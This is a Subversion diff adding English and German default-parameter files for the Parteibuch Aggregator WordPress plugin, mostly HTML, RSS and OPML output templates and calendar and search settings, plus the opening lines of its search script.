+document.write(\' [<a href="#" onclick="sbbview(\\\'sbbpt_id_###ITEM_ID###\\\',\\\'###ITEM_URL###\\\',\\\'###ITEM_NAME###\\\');return false;">Bookmarking</a>]<div id="sbbpt_id_###ITEM_ID###" class="social_bookmark" style="display:none;"></div>\');
+</script>';
+		$defaultparameter['headersbtemplate']='<script type="text/javascript"
+src="###URL2PLUGINDIR###social_bookmarks.php">
+</script>';
+		$defaultparameter['url2plugindir']=""; // where to set such a value? this is a constant from wordpress and plugin installation
+		$defaultparameter['feedpage']="";
+		$defaultparameter['srequri']="";
+
+	//widget values
+		$defaultparameter['show_sidebarwidget'] = 'N';
+		$defaultparameter['template_sidebarwidget'] = <<<HEREDOC
+<li><b style="font-size: 1.2em;"><a title='Go to page of ###OUTPUTNAME###' href='###BASEURL###'>###OUTPUTNAME###</a><b> 
+(<a title='Link to feed of ###OUTPUTNAME###' href='###FEEDHREF###'>xml</a>)</li> 
+
+###LOOPBEGIN###<li><a href="###SITE_URL###" title="###SITE_DESCRIPTION###">###SITE_NAME###</a><small> (###ITEM_DATETIME###):</small> <b><a href="###ITEM_URL###">###ITEM_NAME###</a></b></li>
+###LOOPEND###
+
+<li><b>Feedroll</b> (<a title='List of feeds of ###OUTPUTNAME### as OPML' href='###FEEDOPMLHREF###'>opml</a>) (<a  title='List of feeds of ###OUTPUTNAME###' href='###FEEDLISTHREF###'>feedlist</a>)</li>
+
+###FEEDLISTSIDEBAR_BOX###
+
+<li style="text-align: center;"><br/>###SEARCH_BOX###</li>
+
+<li style="text-align: center;"><br/><small><a title="The Parteibuch Aggregator is a Wordpress-Plugin for feed aggregation" href="http://www.mein-parteibuch.com/blog/parteibuch-aggregator/">###PBA_VERSION###</a></small></li>
+HEREDOC;
+
+	//cache page values
+		$defaultparameter['template_cache'] = <<<HEREDOC
+<h2>Cache-Eintrag ###ITEM_ID### im <a href='###BASEURL###'>Parteibuch Aggregator</a></h2>
+	<div class='centreblock'><h3><a href='###ITEM_URL###'>###ITEM_NAME###</a></h3>
+	###ITEM_CACHEBODY###
+	<p class='postbyline'><em> By: <a href='###SITE_URL###' title='###SITE_DESCRIPTION###'>###ITEM_URL###</a>
+	<br />Posted: ###ITEM_DATEFEED### (ca.)
+	<br />RSS cached: ###ITEM_UPDATEDATE###
+	<br />Aggregator: <a title="The Parteibuch Aggregator is a Wordpress-Plugin for feed aggregation" href="http://www.mein-parteibuch.com/blog/parteibuch-aggregator/">###PBA_VERSION###</a>
+</em></p></div>
+HEREDOC;
+
+	//feed values
+		$defaultparameter['channel_title']= "Parteibuch Aggregator Feed";
+		$defaultparameter['htmlpage']=""; //field channel_link in database, if empty, post->guid from wordpress will be used
+		$defaultparameter['channel_description']= "A fine feed collection generated with Parteibuch Aggregator";
+		$defaultparameter['channel_language']= "en";
+		$defaultparameter['channel_copyright']= "Pirate license";
+		$defaultparameter['template_feed'] = <<<HEREDOC
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- generator="###PBA_VERSION###" -->
+<rss version="2.0"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	>
+<channel>
+	<title>###CHANNEL_TITLE######ISSEARCHBEGIN### - Items containing ###SEARCHPHRASE######ISSEARCHEND######ISDATEBEGIN### - Items from date ###ARCHIVEDATE######ISDATEEND###</title>
+	<link>###HTMLHREF###</link>
+	<description>###CHANNEL_DESCRIPTION###</description>
+	<pubDate>###FIRSTITEM_DATEFEED###</pubDate>
+	<generator>###PBA_VERSION###</generator>
+	<language>###CHANNEL_LANGUAGE###</language>
+	<copyright>###CHANNEL_COPYRIGHT###</copyright>
+###LOOPBEGIN###	<item>
+		<title>###SITE_NAME###: ###ITEM_NAME###</title>
+		<link>###ITEM_URL###</link>
+		<pubDate>###ITEM_DATEFEED###</pubDate>
+		<dc:creator>###SITE_NAME###</dc:creator>
+		<dc:source>###SITE_URL###</dc:source>
+		<dc:rights><![CDATA[###ITEM_LICENSE###]]></dc:rights>
+		<guid isPermaLink="true">###ITEM_URL###</guid>
+		<description><![CDATA[###ITEM_DESCRIPTION###]]></description>
+		<content:encoded><![CDATA[###ITEM_FEEDBODY###]]></content:encoded>
+	</item>
+###LOOPEND###</channel>
+</rss>
+HEREDOC;
+
+
+	//kalender values
+		$defaultparameter['template_kalender'] = <<<HEREDOC
+<p><a href='###BASEURL###'>PBA</a>: Archive for ###KALENDERDATE###</p>
+<p>###KALENDER_BOX###</p>
+<p>###SEARCH_BOX###</p>  
+<p>(<a href='###FEEDLISTHREF###'>Feeds</a>) (<a href='###FEEDOPMLHREF###'>OPML</a>) </p> <p>###FEEDLISTSIDEBAR_BOX###</p>
+<p>###KALENDERLIST_BOX###</p>
+
+<p>Generated with <a title="The Parteibuch Aggregator is a Wordpress-Plugin for feed aggregation" href="http://www.mein-parteibuch.com/blog/parteibuch-aggregator/">###PBA_VERSION###</a></p>
+HEREDOC;
+
+		$defaultparameter['kalender_as_list']=false; // nasty - true shall mean, that we will calculate a kalender as a list, whatever template analysis says
+		$defaultparameter['kalender_as_box']=false; // nasty - true shall mean, that we will calculate a kalender as a list, whatever template analysis says
+		$defaultparameter['kalendermonthslist']="January, February, March, April, May, June, July, August, September, October, November, December";
+		$defaultparameter['kalendernormaldateformat']='j.n.Y';
+
+		//get parameters for box calendar
+		$defaultparameter['kalender_last']='Earlier'; //only needed for kalender as a box
+		$defaultparameter['kalender_next']='Later'; //only needed for kalender as a box
+		$defaultparameter['kalenderboxdaysofweeklist']="Monday, Tuesday, Wednesday, Thursday, Friday, Saturday, Sunday";
+		$defaultparameter['kalenderboxtablecaption']=' style="text-align: center;" id="kalendertable"';
+
+		//feedlist values
+		$defaultparameter['feedlistmaxage'] = (31 * 24 * 60 *60); //age of feeds to be listed in feedlist, in seconds, 0 means disabled age filter
+		$defaultparameter['dateformat_feedlistsidebar_box']='';
+		$defaultparameter['dateformat_feedlist_box']='';
+		$defaultparameter['dateformat_opml_box']='';
+
+		//cache page format values
+
+		//get age function value
+		$defaultparameter['ageunitsstring']="never: never, seconds: seconds, minutes: minutes, hours: hours, days: days, weeks: weeks, months: months, years: years, before: , beforeafter: ago,in: in";
+		$defaultparameter['ageunit']=false; //leave this false, gettheage will calculate an array from into it on first call
+
+    //boundary values
+		$defaultparameter['maxitemslimit']=1000;
+
+		//here are some default templates
+		$defaultparameter['template_ticker'] = <<<HEREDOC
+<p>
+###ISSEARCHBEGIN###
+<a href="###BASEURL###">###OUTPUTNAME###</a>: Items containing ###SEARCHPHRASE### 
+###ISSEARCHEND###
+
+###ISDATEBEGIN###
+<a href="###BASEURL###">###OUTPUTNAME###</a>: Items from date ###ARCHIVEDATE### 
+###ISDATEEND###
+
+###ISNODATENOSEARCHBEGIN###
+<a href="###BASEURL###">###OUTPUTNAME###</a>
+###ISNODATENOSEARCHEND###
+
+(###STARTITEM### - ###LASTITEM### of about ###FOUNDITEMS###) (<a href='###FEEDHREF###'>xml</a>) (<a href='###FEEDLISTHREF###'>Feedlist</a>)</p>
+
+<p>###SEARCH_BOX###</p>
+
+###LOOPBEGIN###<p class="centreblock"><a href="###SITE_URL###" title="###SITE_DESCRIPTION###">###SITE_NAME###</a><small> (###ITEM_DATETIME###):</small> <b><a href="###ITEM_URL###">###ITEM_NAME###</a></b><br /><div class="storyContent">###ITEM_BODY###</div></p>
+###LOOPEND###
+
+<p><span style='position:relative; float:left; overflow:hidden; margin-left:10px;'>###LASTLINKBEGIN###<a href="###LASTPAGEHREF###">Page back</a>###LASTLINKEND###</span><span style='position:relative; float:left; overflow:hidden; margin-left:30px;'>Item (###STARTITEM### - ###LASTITEM### of about ###FOUNDITEMS###)</span><span style='position:relative; float:right; overflow:hidden; margin-right:10px;'>###NEXTLINKBEGIN###<a href="###NEXTPAGEHREF###">Next page</a>###NEXTLINKEND###</span></p>
+
+<p>&nbsp;</p>
+<p>###KALENDERLIST_BOX###</p>
+<p style="text-align: center;">Generiert mit <a title="The Parteibuch Aggregator is a Wordpress-Plugin for feed aggregation" href="http://www.mein-parteibuch.com/blog/parteibuch-aggregator/">###PBA_VERSION###</a></p>
+HEREDOC;
+
+		$defaultparameter['template_feedlist'] = <<<HEREDOC
+###LOOPBEGIN######FEEDLIST_LOOP_FEEDURL### ###LOOPEND###
+HEREDOC;
+
+		$defaultparameter['template_opml'] = <<<HEREDOC
+		<?xml version="1.0" encoding="UTF-8"?>
+<opml version="1.1">
+	<head>
+<title>Parteibuch Aggregator OPML</title>
+
+<dateCreated>###NOW###</dateCreated>
+<ownerName>PBA</ownerName>
+</head>
+	<body>
+	###LOOPBEGIN###	<outline title="###FEEDLIST_LOOP_SITE###" text="###FEEDLIST_LOOP_SITE###" htmlUrl="###FEEDLIST_LOOP_SITEURL###" type="rss" xmlUrl="###FEEDLIST_LOOP_FEEDURL###" />
+###LOOPEND###</body>
+</opml>
+HEREDOC;
+
+		$defaultparameter['template_error'] = <<<HEREDOC
+Oops! We have got errors: ###ERRORMESSAGE###
+HEREDOC;
+
+//search box
+		$defaultparameter['template_search_box'] = <<<HEREDOC
+<form method="get" id="searchform" action="###SEARCHACTIONHREF###">###HIDDENSEARCHFORMFORMVALUES###
+		<input type="text" value="###SEARCHPHRASE###" name="searchphrase" id="searchphrase" />
+			<input type="submit" id="searchsubmit" value="search aggregator" /></form>
+HEREDOC;
+
+		$defaultparameter['template_opml_box'] = <<<HEREDOC
+<?xml version="1.0" encoding="UTF-8"?>
+<opml version="1.1">
+	<head>
+<title>Parteibuch Aggregator OPML</title>
+<dateCreated>###NOW###</dateCreated>
+<ownerName>PBA</ownerName>
+</head>
+	<body>
+	###LOOPBEGIN###	<outline title="###FEEDLIST_LOOP_SITE###" text="###FEEDLIST_LOOP_SITE###" htmlUrl="###FEEDLIST_LOOP_SITEURL###" type="rss" xmlUrl="###FEEDLIST_LOOP_FEEDURL###" />
+###LOOPEND###</body>
+</opml>
+HEREDOC;
+
+		$defaultparameter['template_feedlist_box'] = <<<HEREDOC
+###LOOPBEGIN######FEEDLIST_LOOP_FEEDURL### ###LOOPEND###
+HEREDOC;
+
+		$defaultparameter['template_feedlistsidebar_box'] = <<<HEREDOC
+###LOOPBEGIN###<li style="margin: 2px 0 0;"><small><a href='###FEEDLIST_LOOP_SITEURL###' 
+title='###FEEDLIST_LOOP_SITE###'>###FEEDLIST_LOOP_SITE###</a>&nbsp;<a href='###FEEDLIST_LOOP_FEEDURL###' 
+title='Feed - Last update: ###FEEDLIST_LOOP_DATE###'>(xml)</a></small></li>
+###LOOPEND### 
+HEREDOC;
+
+		$defaultparameter['template_kalenderlist_box'] = <<<HEREDOC
+<a title="Archive" href="###KALENDERHREF###">Archive</a>:&nbsp;
+	###EARLIERLINKBEGIN###<a href='###KALENDER_LASTHREF###'>Earlier</a>###EARLIERLINKEND### 
+	###LOOPBEGIN###<a href='###KALENDERLOOP_HREF###'>###KALENDERLOOP_INLINKDATE###</a> &nbsp###LOOPEND###
+	###LATERLINKBEGIN###<a href='###KALENDER_NEXTHREF###'>Later</a>###LATERLINKEND### 
+	<br />
+HEREDOC;
+
+		$defaultparameter['template_kalender_box'] = <<<HEREDOC
+###KALENDERBOX###
+HEREDOC;
+
+    //migration && debug values
+		$defaultparameter['forceoldoutput']=false;
+		$defaultparameter['debug']=false;
+		$defaultparameter['profiler_enabled']=false;
+		
+		if($parametername=="") {
+			return $defaultparameter;
+		} else {
+			if(isset($defaultparameter[$parametername])) {
+				$returnparameter = $defaultparameter[$parametername];
+				return $returnparameter;
+			}
+		}
+	} //end of function getdefaultparameter
+
+	function get_pbadefaultsite($parametername=''){
+		//feed_url, site_name , description , site_license , site_url
+		$defaultparameter['feed_url']='http://www.mein-parteibuch.org/blog/the-cats-news-ticker-feed/';
+		$defaultparameter['site_name']='The Cats News Ticker';
+		$defaultparameter['description']='A Cats Feedmix';
+		$defaultparameter['site_license']='Pirate license';
+		$defaultparameter['site_url']='http://www.mein-parteibuch.org/';
+		if($parametername=="") {
+			return $defaultparameter;
+		} else {
+			if(isset($defaultparameter[$parametername])) {
+				$returnparameter = $defaultparameter[$parametername];
+				return $returnparameter;
+			}
+		}
+	} //end of function get_pbadefaultsite
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-defaultparameter_de.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-defaultparameter_de.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-defaultparameter_de.php	(revision 44)
@@ -0,0 +1,318 @@
+<?php
+
+	function get_pbadefaultparameter($parametername=''){
+
+		$defaultparameter['outputid']=1;
+		$defaultparameter['outputname']='Neuer Output - bitte benennen';
+		$defaultparameter['outputidfromurlallowed']=false;
+		$defaultparameter['searchphrase']="";
+
+		$defaultparameter['feedrequest']=false;
+		$defaultparameter['tickerpage']="1";
+		$defaultparameter['archivdate']="";
+		$defaultparameter['maxitems']="N";
+		$defaultparameter['listid']=false;
+		$defaultparameter['listidfromurlallowed']=false;
+		$defaultparameter['hookintorewriterules']='auto';
+		$defaultparameter['short_cache_link']=false;
+		$defaultparameter['kalreq']=false; //true means, kalenderpage with kalender headers is desired by url
+		$defaultparameter['cacheid']=false;
+		$defaultparameter['formattype']="countrecentitem";
+		$defaultparameter['daterecentitemthreshold']=24 * 60 *60;
+		$defaultparameter['fromtimestamp']=0;
+		$defaultparameter['totimestamp']=0;
+		$defaultparameter['opsfilter']=false;
+		$defaultparameter['orderbysitename']=false;
+		$defaultparameter['sitealphathreshold']=31 * 24 * 60 *60;
+
+		$defaultparameter['getoutputconfigbypageid']=false;
+		$defaultparameter['page2hookin']=0;
+
+//additional parameter to simulate known Parteibuch behaviour
+		$defaultparameter['specialpage1url']='N'; //'http://www.mein-parteibuch.com'; //set to N or to false to disable
+		$defaultparameter['suppressheaderonpage1']='N'; //only 'Y' will enable this feature
+		
+//search related values
+		$defaultparameter['searchenabled']=true;
+		$defaultparameter['search_page_baseurl']=""; //if empty, baseurl will be taken
+		$defaultparameter['searchactionhref'] = ""; //will be calculated in parameter bootstrap
+		$defaultparameter['hiddensearchformformvalues'] = ""; //will be calculated in parameter bootstrap
+
+//caching control
+		$defaultparameter['pba_full_cache_time']= 0; //use 0 to disable full this cache
+		$defaultparameter['pba_kalenderquery_cache_time']= 0; //use 0 to disable this cache
+		$defaultparameter['pba_feedlistquery_cache_time']= 0; //use 0 to disable this cache
+
+		//boxonly: if just a box shall be given out, name the box here
+		//this single parameter shall replace parameters displayonlykalender, displayonlysearchbox, makeonlyfeedlist
+		$defaultparameter['displayonlybox']=""; //unset, false and 'N' should also mean, that not only a box was requested
+
+		//parameters just for historic reference, replaced just after parameter bootstrap, 
+		$defaultparameter['displayonlysearchbox']='N'; ////to be completely replaced by parameter displayonlybox
+		$defaultparameter['displayonlykalender']='N'; //to be completely replaced by parameter displayonlybox
+		$defaultparameter['makeonlyfeedlist']=false; //to be completely replaced by parameter displayonlybox
+		//just used, when ! displayonlybox ) 
+		$defaultparameter['opmlrequest']=false; //to be mapped to parameter displayonlybox
+		$defaultparameter['feedlistrequest']=false; //to be mapped to parameter displayonlybox
+
+    //then all default parameters needed for output
+
+		$defaultparameter['maxbodylength']=50;
+		$defaultparameter['maxwordlength']=35;
+		$defaultparameter['tagset']="";
+		$defaultparameter['formattedtagset']=""; //to be calculated later from $defaultparameter['tagset']
+		$defaultparameter['baseurl']="";
+		$defaultparameter['noextralink']="N"; //"Y" will suppress the extra link at the end of the item body
+		$defaultparameter['extralinktemplate']=" [<a href='###ITEM_URL###' >Link</a>]";
+		$defaultparameter['append_cache_link']="Y";
+		$defaultparameter['iscachable']="Y";
+		$defaultparameter['itemdateformat']="\ \(d.m.Y H:i\h\)\:";
+		$defaultparameter['splittitlebyseparator']=true; // separator shall not be clever chosen, but shall not be configurable, was before $useitemtitles
+		$defaultparameter['cacheviewpage']="";
+		$defaultparameter['cachelinktemplate']=" [<a href='###CACHEHREF###' rel='nofollow'>Cache</a>]";
+		$defaultparameter['add_social_bookmarks']='Y';
+		$defaultparameter['itemssbtemplate']='<script type="text/javascript">
+document.write(\' [<a href="#" onclick="sbbview(\\\'sbbpt_id_###ITEM_ID###\\\',\\\'###ITEM_URL###\\\',\\\'###ITEM_NAME###\\\');return false;">Bookmarking</a>]<div id="sbbpt_id_###ITEM_ID###" class="social_bookmark" style="display:none;"></div>\');
+</script>';
+		$defaultparameter['headersbtemplate']='<script type="text/javascript"
+src="###URL2PLUGINDIR###social_bookmarks.php">
+</script>';
+		$defaultparameter['url2plugindir']=""; // where to set such a value? this is a constant from wordpress and plugin installation
+		$defaultparameter['feedpage']="";
+		$defaultparameter['srequri']="";
+
+	//widget values
+		$defaultparameter['show_sidebarwidget'] = 'N';
+		$defaultparameter['template_sidebarwidget'] = <<<HEREDOC
+<li><b style="font-size: 1.2em;"><a title='Zur Seite von ###OUTPUTNAME###' href='###BASEURL###'>###OUTPUTNAME###</a><b> 
+(<a title='Zum Feed von ###OUTPUTNAME###' href='###FEEDHREF###'>xml</a>)</li> 
+
+###LOOPBEGIN###<li><a href="###SITE_URL###" title="###SITE_DESCRIPTION###">###SITE_NAME###</a><small> (###ITEM_DATETIME###):</small> <b><a href="###ITEM_URL###">###ITEM_NAME###</a></b></li>
+###LOOPEND###
+
+<li><b>Feedroll</b> (<a title='Feedliste von ###OUTPUTNAME### als OPML' href='###FEEDOPMLHREF###'>opml</a>) (<a  title='Feedliste von ###OUTPUTNAME###' href='###FEEDLISTHREF###'>feedlist</a>)</li>
+
+###FEEDLISTSIDEBAR_BOX###
+
+<li style="text-align: center;"><br/>###SEARCH_BOX###</li>
+
+<li style="text-align: center;"><br/><small><a title="Der Parteibuch Aggregator ist ein Wordpress-Plugin zum Aggregieren von RSS-Feeds" href="http://www.mein-parteibuch.com/blog/parteibuch-aggregator/">###PBA_VERSION###</a></small></li>
+HEREDOC;
+
+	//cache page values
+		$defaultparameter['template_cache'] = <<<HEREDOC
+<h2>Cache-Eintrag ###ITEM_ID### im <a href='###BASEURL###'>Parteibuch Aggregator</a></h2>
+	<div class='centreblock'><h3><a href='###ITEM_URL###'>###ITEM_NAME###</a></h3>
+	###ITEM_CACHEBODY###
+	<p class='postbyline'><em> Von: <a href='###SITE_URL###' title='###SITE_DESCRIPTION###'>###ITEM_URL###</a>
+	<br />Geposted: ###ITEM_DATEFEED### (ca.)
+	<br />RSS cached: ###ITEM_UPDATEDATE###
+	<br />Aggregator: <a title="Parteibuch Aggregator ist ein Wordpress-Plugin zum Aggregieren von RSS-Feeds" href="http://www.mein-parteibuch.com/blog/parteibuch-aggregator/">###PBA_VERSION###</a>
+</em></p></div>
+HEREDOC;
+
+	//feed values
+		$defaultparameter['channel_title']= "Parteibuch Aggregator Feed";
+		$defaultparameter['htmlpage']=""; //field channel_link in database, if empty, post->guid from wordpress will be used
+		$defaultparameter['channel_description']= "A fine feed collection generated with Parteibuch Aggregator";
+		$defaultparameter['channel_language']= "de";
+		$defaultparameter['channel_copyright']= "Piratenlizenz";
+		$defaultparameter['template_feed'] = <<<HEREDOC
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- generator="###PBA_VERSION###" -->
+<rss version="2.0"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	>
+<channel>
+	<title>###CHANNEL_TITLE######ISSEARCHBEGIN### - Artikel mit ###SEARCHPHRASE######ISSEARCHEND######ISDATEBEGIN### - Artikel zum Datum ###ARCHIVEDATE######ISDATEEND###</title>
+	<link>###HTMLHREF###</link>
+	<description>###CHANNEL_DESCRIPTION###</description>
+	<pubDate>###FIRSTITEM_DATEFEED###</pubDate>
+	<generator>###PBA_VERSION###</generator>
+	<language>###CHANNEL_LANGUAGE###</language>
+	<copyright>###CHANNEL_COPYRIGHT###</copyright>
+###LOOPBEGIN###	<item>
+		<title>###SITE_NAME###: ###ITEM_NAME###</title>
+		<link>###ITEM_URL###</link>
+		<pubDate>###ITEM_DATEFEED###</pubDate>
+		<dc:creator>###SITE_NAME###</dc:creator>
+		<dc:source>###SITE_URL###</dc:source>
+		<dc:rights><![CDATA[###ITEM_LICENSE###]]></dc:rights>
+		<guid isPermaLink="true">###ITEM_URL###</guid>
+		<description><![CDATA[###ITEM_DESCRIPTION###]]></description>
+		<content:encoded><![CDATA[###ITEM_FEEDBODY###]]></content:encoded>
+	</item>
+###LOOPEND###</channel>
+</rss>
+HEREDOC;
+
+
+	//kalender values
+		$defaultparameter['template_kalender'] = <<<HEREDOC
+<p><a href='###BASEURL###'>PBA</a>: Archive f&uuml;r ###KALENDERDATE###</p>
+<p>###KALENDER_BOX###</p>
+<p>###SEARCH_BOX###</p>  
+<p>(<a href='###FEEDLISTHREF###'>Feeds</a>) (<a href='###FEEDOPMLHREF###'>OPML</a>) </p> <p>###FEEDLISTSIDEBAR_BOX###</p>
+<p>###KALENDERLIST_BOX###</p>
+
+<p>Generiert mit <a title="Der Parteibuch Aggregator ist ein Wordpress-Plugin zum Aggregieren von RSS-Feeds" href="http://www.mein-parteibuch.com/blog/parteibuch-aggregator/">###PBA_VERSION###</a></p>
+HEREDOC;
+
+		$defaultparameter['kalender_as_list']=false; // nasty - true shall mean, that we will calculate a kalender as a list, whatever template analysis says
+		$defaultparameter['kalender_as_box']=false; // nasty - true shall mean, that we will calculate a kalender as a list, whatever template analysis says
+		$defaultparameter['kalendermonthslist']="Januar, Februar, M&auml;rz, April, Mai, Juni, Juli, August, September, Oktober, November, Dezember";
+		$defaultparameter['kalendernormaldateformat']='j.n.Y';
+
+		//get parameters for box calendar
+		$defaultparameter['kalender_last']='Fr&uuml;her'; //only needed for kalender as a box
+		$defaultparameter['kalender_next']='Sp&auml;ter'; //only needed for kalender as a box
+		$defaultparameter['kalenderboxdaysofweeklist']="Montag, Dienstag, Mittwoch, Donnerstag, Freitag, Samstag, Sonntag";
+		$defaultparameter['kalenderboxtablecaption']=' style="text-align: center;" id="kalendertable"';
+
+		//feedlist values
+		$defaultparameter['feedlistmaxage'] = (31 * 24 * 60 *60); //age of feeds to be listed in feedlist, in seconds, 0 means disabled age filter
+		$defaultparameter['dateformat_feedlistsidebar_box']='';
+		$defaultparameter['dateformat_feedlist_box']='';
+		$defaultparameter['dateformat_opml_box']='';
+
+		//cache page format values
+
+		//get age function value
+		$defaultparameter['ageunitsstring']="never: Nie, seconds: Sekunden, minutes: Minuten, hours: Stunden, days: Tagen, weeks: Wochen, months: Monaten, years: Jahren, before: Vor, beforeafter: , in: In";
+		$defaultparameter['ageunit']=false; //leave this false, gettheage will calculate an array from into it on first call
+
+    //boundary values
+		$defaultparameter['maxitemslimit']=1000;
+
+		//here are some default templates
+		$defaultparameter['template_ticker'] = <<<HEREDOC
+<p>
+###ISSEARCHBEGIN###
+<a href="###BASEURL###">###OUTPUTNAME###</a>: Artikel mit ###SEARCHPHRASE### 
+###ISSEARCHEND###
+
+###ISDATEBEGIN###
+<a href="###BASEURL###">###OUTPUTNAME###</a>: Artikel mit Datum ###ARCHIVEDATE### 
+###ISDATEEND###
+
+###ISNODATENOSEARCHBEGIN###
+<a href="###BASEURL###">###OUTPUTNAME###</a>
+###ISNODATENOSEARCHEND###
+
+(###STARTITEM### - ###LASTITEM### von ca ###FOUNDITEMS###) (<a href='###FEEDHREF###'>xml</a>) (<a href='###FEEDLISTHREF###'>Feedlist</a>)</p>
+
+<p>###SEARCH_BOX###</p>
+
+###LOOPBEGIN###<p class="centreblock"><a href="###SITE_URL###" title="###SITE_DESCRIPTION###">###SITE_NAME###</a><small> (###ITEM_DATETIME###):</small> <b><a href="###ITEM_URL###">###ITEM_NAME###</a></b><br /><div class="storyContent">###ITEM_BODY###</div></p>
+###LOOPEND###
+
+<p><span style='position:relative; float:left; overflow:hidden; margin-left:10px;'>###LASTLINKBEGIN###<a href="###LASTPAGEHREF###">Seite zur&uuml;ck</a>###LASTLINKEND###</span><span style='position:relative; float:left; overflow:hidden; margin-left:30px;'>Eintrag (###STARTITEM### - ###LASTITEM### von ca ###FOUNDITEMS###)</span><span style='position:relative; float:right; overflow:hidden; margin-right:10px;'>###NEXTLINKBEGIN###<a href="###NEXTPAGEHREF###">Seite vor</a>###NEXTLINKEND###</span></p>
+
+<p>&nbsp;</p>
+<p>###KALENDERLIST_BOX###</p>
+<p style="text-align: center;">Generiert mit <a title="Der Parteibuch Aggregator ist ein Wordpress-Plugin zum Aggregieren von RSS-Feeds" href="http://www.mein-parteibuch.com/blog/parteibuch-aggregator/">###PBA_VERSION###</a></p>
+HEREDOC;
+
+		$defaultparameter['template_feedlist'] = <<<HEREDOC
+###LOOPBEGIN######FEEDLIST_LOOP_FEEDURL### ###LOOPEND###
+HEREDOC;
+
+		$defaultparameter['template_opml'] = <<<HEREDOC
+		<?xml version="1.0" encoding="UTF-8"?>
+<opml version="1.1">
+	<head>
+<title>Parteibuch Aggregator OPML</title>
+
+<dateCreated>###NOW###</dateCreated>
+<ownerName>PBA</ownerName>
+</head>
+	<body>
+	###LOOPBEGIN###	<outline title="###FEEDLIST_LOOP_SITE###" text="###FEEDLIST_LOOP_SITE###" htmlUrl="###FEEDLIST_LOOP_SITEURL###" type="rss" xmlUrl="###FEEDLIST_LOOP_FEEDURL###" />
+###LOOPEND###</body>
+</opml>
+HEREDOC;
+
+		$defaultparameter['template_error'] = <<<HEREDOC
+Oops! We have got errors: ###ERRORMESSAGE###
+HEREDOC;
+
+//search box
+		$defaultparameter['template_search_box'] = <<<HEREDOC
+<form method="get" id="searchform" action="###SEARCHACTIONHREF###">###HIDDENSEARCHFORMFORMVALUES###
+		<input type="text" value="###SEARCHPHRASE###" name="searchphrase" id="searchphrase" />
+			<input type="submit" id="searchsubmit" value="Suche im Ticker" /></form>
+HEREDOC;
+
+		$defaultparameter['template_opml_box'] = <<<HEREDOC
+<?xml version="1.0" encoding="UTF-8"?>
+<opml version="1.1">
+	<head>
+<title>Parteibuch Aggregator OPML</title>
+<dateCreated>###NOW###</dateCreated>
+<ownerName>PBA</ownerName>
+</head>
+	<body>
+	###LOOPBEGIN###	<outline title="###FEEDLIST_LOOP_SITE###" text="###FEEDLIST_LOOP_SITE###" htmlUrl="###FEEDLIST_LOOP_SITEURL###" type="rss" xmlUrl="###FEEDLIST_LOOP_FEEDURL###" />
+###LOOPEND###</body>
+</opml>
+HEREDOC;
+
+		$defaultparameter['template_feedlist_box'] = <<<HEREDOC
+###LOOPBEGIN######FEEDLIST_LOOP_FEEDURL### ###LOOPEND###
+HEREDOC;
+
+		$defaultparameter['template_feedlistsidebar_box'] = <<<HEREDOC
+###LOOPBEGIN###<li style="margin: 2px 0 0;"><small><a href='###FEEDLIST_LOOP_SITEURL###' 
+title='###FEEDLIST_LOOP_SITE###'>###FEEDLIST_LOOP_SITE###</a>&nbsp;<a href='###FEEDLIST_LOOP_FEEDURL###' 
+title='Feed - Letztes Update: ###FEEDLIST_LOOP_DATE###'>(xml)</a></small></li>
+###LOOPEND### 
+HEREDOC;
+
+		$defaultparameter['template_kalenderlist_box'] = <<<HEREDOC
+<a title="Archive" href="###KALENDERHREF###">Archive</a>:&nbsp;
+	###EARLIERLINKBEGIN###<a href='###KALENDER_LASTHREF###'>Noch fr&uuml;her</a>###EARLIERLINKEND### 
+	###LOOPBEGIN###<a href='###KALENDERLOOP_HREF###'>###KALENDERLOOP_INLINKDATE###</a> &nbsp###LOOPEND###
+	###LATERLINKBEGIN###<a href='###KALENDER_NEXTHREF###'>Sp&auml;ter bitte</a>###LATERLINKEND### 
+	<br />
+HEREDOC;
+
+		$defaultparameter['template_kalender_box'] = <<<HEREDOC
+###KALENDERBOX###
+HEREDOC;
+
+    //migration && debug values
+		$defaultparameter['forceoldoutput']=false;
+		$defaultparameter['debug']=false;
+		$defaultparameter['profiler_enabled']=false;
+		
+		if($parametername=="") {
+			return $defaultparameter;
+		} else {
+			if(isset($defaultparameter[$parametername])) {
+				$returnparameter = $defaultparameter[$parametername];
+				return $returnparameter;
+			}
+		}
+	} //end of function getdefaultparameter
+
+	function get_pbadefaultsite($parametername=''){
+		//feed_url, site_name , description , site_license , site_url
+		$defaultparameter['feed_url']='http://www.mein-parteibuch.com/blog/ticker-feed/';
+		$defaultparameter['site_name']='Parteibuch Ticker';
+		$defaultparameter['description']='Der Feed vom Parteibuch Ticker';
+		$defaultparameter['site_license']='Piratenlizenz';
+		$defaultparameter['site_url']='http://www.mein-parteibuch.com';
+		if($parametername=="") {
+			return $defaultparameter;
+		} else {
+			if(isset($defaultparameter[$parametername])) {
+				$returnparameter = $defaultparameter[$parametername];
+				return $returnparameter;
+			}
+		}
+	} //end of function get_pbadefaultsite
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-rsssearch.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-rsssearch.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-rsssearch.php	(revision 44)
@@ -0,0 +1,835 @@
+<?php
+
+//initialization of config variables, 
+//these allow 
+//1. optional cronjobs to call the pba-rsssearch.php directly
+//2. have the search index stored in a seperate database
+//no good idea to place config here, better define them in your wp-config.php
+$pba_search_directcall_password="putinsomethingfullinyourwpconfig"; //to override, define PBA_SEARCH_DIRECTCALL_PASSWORD in your wp-config
+$pba_search_enable_directcall=false; //disabled by default with false, to override, define PBA_SEARCH_ENABLE_DIRECTCALL as true in your wp-config
